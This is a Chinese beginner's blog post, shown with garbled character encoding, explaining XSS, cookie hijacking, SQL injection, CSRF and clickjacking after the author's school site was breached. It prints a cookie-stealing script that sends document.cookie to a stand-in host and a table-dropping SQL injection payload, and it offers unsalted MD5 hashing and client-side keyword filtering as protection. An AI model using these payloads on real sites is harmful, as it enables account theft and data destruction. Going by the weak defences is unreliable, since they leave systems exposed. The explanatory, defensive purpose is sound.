摘要:這里就提及一下所推出的圖片驗(yàn)證,目前已經(jīng)被很多人報(bào)道也是不安全的,攻擊者可以直接將圖片處理后丟入百度的識(shí)圖接口,返回的數(shù)值讓人驚訝。
前言
之前忙于做各種事情,已經(jīng)很久沒寫過文章,最近接的一個(gè)學(xué)校的網(wǎng)站項(xiàng)目,近期被人用自動(dòng)腳本攻破了(笑...),因?yàn)槲覀兊谝淮巫鲞@種上線的項(xiàng)目,完全沒有意識(shí)到一些web安全的知識(shí),所以就開始了緊急的漏洞補(bǔ)救和防護(hù)措施。所以我就把近期學(xué)習(xí)的知識(shí)總結(jié)下。目前我水平有限,只能做一個(gè)初級(jí)認(rèn)識(shí),讓一些剛?cè)胄凶錾暇€的實(shí)際項(xiàng)目的同學(xué)能有所警惕。
原因 安全小白作為這個(gè)網(wǎng)站項(xiàng)目組長(zhǎng),我是完全不知道這些安全隱患問題的,團(tuán)隊(duì)的人員也沒有研究過這些,所以造成了這個(gè)情況,因?yàn)槲覀兪窃谛4髮W(xué)學(xué)生,確實(shí)學(xué)無余力來研究這些,希望對(duì)還未出社會(huì)的初學(xué)者提個(gè)醒。
web常見攻擊手段我只會(huì)大概提及它的攻擊原理和預(yù)防方法,具體的實(shí)現(xiàn)和深入研究還請(qǐng)大家自行百度,因?yàn)橹挥姓嬲枰玫讲艜?huì)去詳細(xì)了解,這里我只為web安全小白做知識(shí)掃盲。因?yàn)椴┲髂壳敖佑|最多的服務(wù)端語言是JAVA所以例子都從java web項(xiàng)目來講。
跨站腳本攻擊(XSS)雖然我們目前做的是一個(gè)博客的小網(wǎng)站,但是以后無論是自己的博客還是實(shí)際的項(xiàng)目,都可以用圖片來提供外鏈,方便管理,如果你的網(wǎng)站訪問量很高啊,一天幾十萬幾百萬啊,我的天啊,這時(shí)候你考慮的就不是服務(wù)器空間夠不夠大,而是驚人的并發(fā)數(shù)啊,光是請(qǐng)求html文件(或其他)的鏈接就處理不過來了,哪還有多余的資源去讀取圖片啊,索性就把圖片存另一個(gè)服務(wù)器吧,給主服務(wù)器減輕壓力啊,于是圖床誕生了。
反射型XSS
它是通過誘使用戶打開一個(gè)惡意鏈接,服務(wù)端將鏈接中參數(shù)的惡意代碼渲染到頁面中,再傳遞給用戶由瀏覽器執(zhí)行,從而達(dá)到攻擊的目的。如下面的鏈接:
http://a.com/a.jsp?name=xss
a.jsp將頁面渲染成下面的html:
Hello xss
這時(shí)瀏覽器將會(huì)彈出提示框。
這算是常見的一種方法,預(yù)防的話可以通過后臺(tái)編寫方法來攔截過濾到這些非法或有攻擊性的字符。
持久型XSS
持久型XSS將惡意代碼提交給服務(wù)器,并且存儲(chǔ)在服務(wù)器端,當(dāng)用戶訪問相關(guān)內(nèi)容時(shí)再渲染到頁面中,以達(dá)到攻擊的目的,它的危害更大。
比如,攻擊者寫了一篇帶惡意JS代碼的博客,文章發(fā)表后,所有訪問該博客文章的用戶都會(huì)執(zhí)行這段惡意JS。
Cookie劫持這個(gè)相對(duì)來說對(duì)我們開發(fā)網(wǎng)站來說不算重要,但是要小心攻擊者在你網(wǎng)站注入一些非法代碼,從而達(dá)到這個(gè)目的。
Cookie中一般保存了當(dāng)前用戶的登錄憑證,如果可以得到,往往意味著可直接進(jìn)入用戶帳戶,而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說,可以像下面這樣操作:
首先誘使用戶打開下面的鏈接:
http://a.com/a.jsp?name=xss
用戶打開鏈接后,會(huì)加載b.js,并執(zhí)行b.js中的代碼。b.js中存儲(chǔ)了以下JS代碼:
var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img);
上面的代碼會(huì)向b.com請(qǐng)求一張圖片,但實(shí)際上是將當(dāng)前頁面的cookie發(fā)到了b.com的服務(wù)器上。這樣就完成了竊取cookie的過程。
防御Cookie劫持的一個(gè)簡(jiǎn)單的方法是在Set-Cookie時(shí)加上HttpOnly標(biāo)識(shí),瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。
XSS的防御輸入檢查
對(duì)輸入數(shù)據(jù)做檢查,比如用戶名只允許是字母和數(shù)字,郵箱必須是指定格式。
一定要在后臺(tái)做檢查,否則數(shù)據(jù)可能繞過前端檢查直接發(fā)給服務(wù)器。
一般前后端都做檢查,這樣前端可以擋掉大部分無效數(shù)據(jù)。
對(duì)特殊字符做編碼或過濾,但因?yàn)椴恢垒敵鰰r(shí)的語境,所以可能會(huì)做不適當(dāng)?shù)倪^濾,最好是在輸出時(shí)具體情況具體處理。
輸出檢查
對(duì)渲染到HTML中內(nèi)容執(zhí)行HtmlEncode,對(duì)渲染到JavaScript中的內(nèi)容執(zhí)行JavascriptEncode。
另外還可以使用一些做XSS檢查的開源項(xiàng)目。
SQL注入SQL注入常常會(huì)聽到,它與XSS類似,是由于用戶提交的數(shù)據(jù)被當(dāng)成命令來執(zhí)行而造成的。下面是一個(gè)SQL注入的例子:
String sql = "select * from user where username = "" + username + """;
像上面的SQL語句,如果用戶提交的username參數(shù)是leo,則數(shù)據(jù)庫執(zhí)行的SQL為:
select * from user where username = "leo"
但如果用戶提交的username參數(shù)是leo’; drop table user–,那執(zhí)行的SQL為:
select * from user where username = "leo"; drop table user--"
在查詢數(shù)據(jù)后,又執(zhí)行了一個(gè)刪除表的操作,這樣的后果非常嚴(yán)重。
SQL注入的防御博主本人的網(wǎng)站就是主要被SQL注入導(dǎo)致網(wǎng)站數(shù)據(jù)庫受損
防止SQL注入最好的方法是使用預(yù)編譯語句,如下面所示:
String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery();
不同語言的預(yù)編譯方法不同,但基本都可以處理。
如果遇到無法使用預(yù)編譯方法時(shí),只能像防止XSS那樣對(duì)參數(shù)進(jìn)行檢查和編碼。
跨站請(qǐng)求偽造(CSRF)博主后面會(huì)貼出自己完善項(xiàng)目的檢測(cè)代碼,就是對(duì)網(wǎng)站可以進(jìn)行數(shù)據(jù)提交的表單的輸入進(jìn)行SQL語句檢測(cè)。
跨站請(qǐng)求偽造的英文全稱是Cross Site Request Forgery,是由于操作所需的所有參數(shù)都能被攻擊者得到,進(jìn)而構(gòu)造出一個(gè)偽造的請(qǐng)求,在用戶不知情的情況下被執(zhí)行??聪旅嬉粋€(gè)例子:
如果a.com網(wǎng)站需要用戶登錄后可以刪除博客,刪除博客的請(qǐng)求地址如下:
GET http://a.com/blog/delete?id=1
當(dāng)用戶登錄a.com后,又打開了http://b.com/b.html,其中有下面的內(nèi)容:
這時(shí)會(huì)以用戶在a.com的身份發(fā)送http://a.com/blog/delete?id=1,刪除那篇博客。
CSRF的防御驗(yàn)證碼
CSRF是在用戶不知情的情況下構(gòu)造的網(wǎng)絡(luò)情況,驗(yàn)證碼則強(qiáng)制用戶與應(yīng)用交互,所以驗(yàn)證碼可以很好得防止CSRF。但不能什么請(qǐng)求都加驗(yàn)證碼。
referer檢查
檢查請(qǐng)求header中的referer也能幫助防止CSRF攻擊,但服務(wù)器不是總能拿到referer,瀏覽器可能出于安全或隱私而不發(fā)送referer,所以也不常用。倒是圖片防盜鏈中用得很多。
Anti CSRF Token
更多的是生成一個(gè)隨機(jī)的token,在用戶提交數(shù)據(jù)的同時(shí)提交這個(gè)token,服務(wù)器端比對(duì)后如果不正確,則拒絕執(zhí)行操作。
點(diǎn)擊劫持(ClickJacking)作為了解,一般前面的攻擊都過了,就可以造成此類攻擊。
點(diǎn)擊劫持是從視覺上欺騙用戶。攻擊者使用一個(gè)透明的iframe覆蓋在一個(gè)網(wǎng)頁上,誘使用戶在該網(wǎng)頁上操作,而實(shí)際點(diǎn)擊卻是點(diǎn)在透明的iframe頁面。
點(diǎn)擊劫持延伸出了很多攻擊方式,有圖片覆蓋攻擊、拖拽劫持等。
點(diǎn)擊劫持的防御
針對(duì)iframe的攻擊,可使用一個(gè)HTTP頭:X-Frame-Options,它有三種可選值:
DENY: 禁止任何頁面的frame加載; SAMEORIGIN:只有同源頁面的frame可加載; ALLOW-FROM:可定義允許frame加載的頁面地址。
針對(duì)圖片覆蓋攻擊,則注意使用預(yù)防XSS的方法,防止HTML和JS注入。
我的方法 前言作為了解,一般前面的攻擊都過了,就可以造成此類攻擊。
我們負(fù)責(zé)的團(tuán)隊(duì)項(xiàng)目為學(xué)校網(wǎng)站制作,所以涉及到用戶輸入的地方都在后臺(tái)管理模塊,從后臺(tái)登錄界面開始就應(yīng)該做一些防護(hù)措施了。
登錄的字符檢測(cè)function validate(value) { var pattern = /[`~!@#$%^&*()_+<>?:"{},./;"[]]/im; if (value === "" || value === null) return false; if (pattern.test(value)) { alert("非法字符!"); return false; } return true; } function filterSqlStr(value) { var str = "and,delete,or,exec,insert,select,union,update,count,*,",join,>,<"; var sqlStr = str.split(","); var flag = true; for (var i = 0; i < sqlStr.length; i++) { if (value.toLowerCase().indexOf(sqlStr[i]) != -1) { flag = false; break; } } alert(flag); return flag; }
密碼MD5加密JS封裝的2個(gè)方法,用于返回布爾值來判斷是否通過。第一個(gè)為了過濾掉非法字符,第二個(gè)為了過濾有關(guān)數(shù)據(jù)庫操作的非法字符。
//password Md5 public static String MD5Password(String oldstr) { char hexDigits[] = { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f" }; byte[] oldbytes = oldstr.getBytes(); try { MessageDigest md = MessageDigest.getInstance("MD5");// 獲取對(duì)象 md.update(oldbytes);// 初始化對(duì)象 byte[] newBytes = md.digest();// 運(yùn)行加密算法 char[] newStr = new char[32]; for (int i = 0; i < 16; i++) { byte temp = newBytes[i]; newStr[2 * i] = hexDigits[temp >>> 4 & 0xf]; newStr[2 * i + 1] = hexDigits[temp & 0xf]; } return new String(newStr); } catch (NoSuchAlgorithmException e) { return null; } }
后臺(tái)添加修改信息的字符檢測(cè)通過在后臺(tái)對(duì)數(shù)據(jù)庫中,管理員的密碼進(jìn)行MD5加密然后存入加密后的字段進(jìn)去,在前臺(tái)通過加密前的字段輸入后在后臺(tái)進(jìn)行方法驗(yàn)證,實(shí)現(xiàn)MD5加密登錄。防止數(shù)據(jù)庫的密碼被暴露查詢出來。加密后無法被反解密出來。
同前臺(tái)登錄一樣的檢測(cè)方法,因?yàn)槲抑回?fù)責(zé)前臺(tái)檢測(cè),如果黑客繞過了我的檢測(cè),就要進(jìn)行后臺(tái)對(duì)數(shù)據(jù)傳過去的值進(jìn)行檢測(cè),這時(shí)候就是后臺(tái)人員的工作了。所以前后臺(tái)都要進(jìn)行這些字符檢測(cè),但是后臺(tái)的責(zé)任要重一點(diǎn),因?yàn)閿?shù)據(jù)最終流向是在后臺(tái)服務(wù)器端,前臺(tái)只是初步防護(hù)而已。
驗(yàn)證碼和滑塊驗(yàn)證 驗(yàn)證碼字符驗(yàn)證目前驗(yàn)證碼字符驗(yàn)證已經(jīng)逐漸推出舞臺(tái),但是有一些專門這塊驗(yàn)證服務(wù)的第三方平臺(tái),通過對(duì)驗(yàn)證碼字符的不斷改進(jìn)和更新,對(duì)一些攻擊者來說還是有防護(hù)作用,但是個(gè)人或企業(yè)網(wǎng)站還是用的一塵不變的驗(yàn)證方法的話,就很容易被攻擊成功。很多初學(xué)者都在前臺(tái)瀏覽器客戶端用JS進(jìn)行字符驗(yàn)證,很容易被破解跳過。好點(diǎn)的就在服務(wù)器進(jìn)行檢驗(yàn),但是還是能被一些黑客經(jīng)過長(zhǎng)期的經(jīng)驗(yàn)發(fā)明的一些工具破解。
這里就提及一下12306所推出的圖片驗(yàn)證,目前已經(jīng)被很多人報(bào)道也是不安全的,攻擊者可以直接將圖片處理后丟入google、百度的識(shí)圖接口,返回的數(shù)值讓人驚訝。
居然能把第二張圖識(shí)別為沙縣小吃,我是覺得目前的人工智能的圖像識(shí)別技術(shù)很厲害,所以要不了多久這種驗(yàn)證方式也會(huì)被淘汰,除非不斷更新圖片庫。
滑塊驗(yàn)證和12306的圖片識(shí)別驗(yàn)證目前算是比較安全的驗(yàn)證手段,滑動(dòng)驗(yàn)證的核心并不是簡(jiǎn)單的拼接成功就可以過,所以也不是簡(jiǎn)單的算一下偏移量就能破解?;瑒?dòng)驗(yàn)證做的好的是通過采集你的滑動(dòng)過程軌跡與服務(wù)器端的海量樣本進(jìn)行對(duì)比,區(qū)分人還是機(jī)器,用到了很多深度學(xué)習(xí)的技術(shù),當(dāng)然市面上也有一些滑動(dòng)驗(yàn)證只是前端拼接就能過,大家還是要多多研究一下。
End反正如果項(xiàng)目需要用到驗(yàn)證碼這塊,不能考慮只在客戶端進(jìn)行JS驗(yàn)證,客戶端的JS驗(yàn)證有的前提下,還要把數(shù)據(jù)返回到后臺(tái)來進(jìn)行驗(yàn)證,這樣可以大概率保證網(wǎng)站安全性,網(wǎng)站的攻防一直是持久的話題,沒有絕對(duì)的安全也沒有絕對(duì)的攻擊。推薦大家多嘗試網(wǎng)上的第三方服務(wù)商提供的驗(yàn)證服務(wù),這樣節(jié)省自己的精力來研究驗(yàn)證漏洞以及頻繁的更新驗(yàn)證方法。
在校期間第一次認(rèn)識(shí)到web安全重要性,目前只是初步的認(rèn)識(shí),如果后面了解了更多相關(guān)的知識(shí),會(huì)繼續(xù)做補(bǔ)充。關(guān)于hexo搭建的博客的技術(shù)應(yīng)該不會(huì)再出什么文章了,有需要了解其他的知識(shí)的,會(huì)有困難的可以聯(lián)系我或下方留言,然后看情況是否整理為一篇文章來集中回答幫助其他人。
文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址:http://www.ezyhdfw.cn/yun/50741.html
摘要:這里就提及一下所推出的圖片驗(yàn)證,目前已經(jīng)被很多人報(bào)道也是不安全的,攻擊者可以直接將圖片處理后丟入百度的識(shí)圖接口,返回的數(shù)值讓人驚訝。 showImg(https://segmentfault.com/img/remote/1460000008991770?w=3505&h=2472); 前言 之前忙于做各種事情,已經(jīng)很久沒寫過文章,最近接的一個(gè)學(xué)校的網(wǎng)站項(xiàng)目,近期被人用自動(dòng)腳本攻破了(...
摘要:這里就提及一下所推出的圖片驗(yàn)證,目前已經(jīng)被很多人報(bào)道也是不安全的,攻擊者可以直接將圖片處理后丟入百度的識(shí)圖接口,返回的數(shù)值讓人驚訝。 showImg(https://segmentfault.com/img/remote/1460000008991770?w=3505&h=2472); 前言 之前忙于做各種事情,已經(jīng)很久沒寫過文章,最近接的一個(gè)學(xué)校的網(wǎng)站項(xiàng)目,近期被人用自動(dòng)腳本攻破了(...
摘要:前言一直以來自己對(duì)安全方面的知識(shí)了解的比較少,最近有點(diǎn)閑工夫了解了一下。攻擊的一般是由服務(wù)端解決。攻擊條件登錄受信任網(wǎng)站,并在本地生成。驗(yàn)證對(duì)所有引用對(duì)象的授權(quán)。 前言 一直以來自己對(duì)WEB安全方面的知識(shí)了解的比較少,最近有點(diǎn)閑工夫了解了一下。也是為了以后面試吧,之前就遇到過問WEB安全方面的問題,答的不是很理想,所以整理了一下! 一、XSS攻擊 跨站腳本攻擊(Cross Site ...
摘要:前言一直以來自己對(duì)安全方面的知識(shí)了解的比較少,最近有點(diǎn)閑工夫了解了一下。攻擊的一般是由服務(wù)端解決。攻擊條件登錄受信任網(wǎng)站,并在本地生成。驗(yàn)證對(duì)所有引用對(duì)象的授權(quán)。 前言 一直以來自己對(duì)WEB安全方面的知識(shí)了解的比較少,最近有點(diǎn)閑工夫了解了一下。也是為了以后面試吧,之前就遇到過問WEB安全方面的問題,答的不是很理想,所以整理了一下! 一、XSS攻擊 跨站腳本攻擊(Cross Site Sc...
摘要:想閱讀更多優(yōu)質(zhì)原創(chuàng)文章請(qǐng)猛戳博客一,跨站腳本攻擊,因?yàn)榭s寫和重疊,所以只能叫。跨站腳本攻擊是指通過存在安全漏洞的網(wǎng)站注冊(cè)用戶的瀏覽器內(nèi)運(yùn)行非法的標(biāo)簽或進(jìn)行的一種攻擊。跨站腳本攻擊有可能造成以下影響利用虛假輸入表單騙取用戶個(gè)人信息。 前言 在互聯(lián)網(wǎng)時(shí)代,數(shù)據(jù)安全與個(gè)人隱私受到了前所未有的挑戰(zhàn),各種新奇的攻擊技術(shù)層出不窮。如何才能更好地保護(hù)我們的數(shù)據(jù)?本文主要側(cè)重于分析幾種常見的攻擊的類型...
閱讀 2667·2021-11-22 13:53
閱讀 4221·2021-09-28 09:47
閱讀 952·2021-09-22 15:33
閱讀 920·2020-12-03 17:17
閱讀 3376·2019-08-30 13:13
閱讀 2188·2019-08-29 16:09
閱讀 1245·2019-08-29 12:24
閱讀 2520·2019-08-28 18:14